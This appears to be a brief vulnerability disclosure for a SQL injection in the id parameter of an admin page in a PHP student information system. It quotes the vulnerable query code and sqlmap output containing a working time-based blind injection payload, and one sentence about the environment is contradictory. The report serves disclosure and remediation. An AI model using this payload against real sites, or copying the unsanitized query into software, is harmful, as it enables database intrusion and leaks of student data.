SQL injection vulnerability exists in id parameter of /admin/departments/manage_department.php file of Simple Student Information System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
<?php
require_once('../../config.php');
if(isset($_GET['id'])){
    $qry = $conn->query("SELECT * FROM `department_list` where id = '{$_GET['id']}'");
    if($qry->num_rows > 0){
        $res = $qry->fetch_array();
        foreach($res as $k => $v){
            if(!is_numeric($k))
            $$k = $v;
        }
    }
}
?>
```

```
sqlmap identified the following injection point(s) with a total of 345 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: description=555&id=0' AND (SELECT 9550 FROM (SELECT(SLEEP(5)))VzAe) AND 'SHWr'='SHWr&name=WymSkPhN&status=1
---
```

“

Parameter: id (GET)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: description=555&id=0' AND (SELECT 9550 FROM (SELECT(SLEEP(5)))VzAe) AND 'SHWr'='SHWr&name=WymSkPhN&status=1

“

Source Download：

https://www.campcodes.com/projects/php/student-information-system-in-php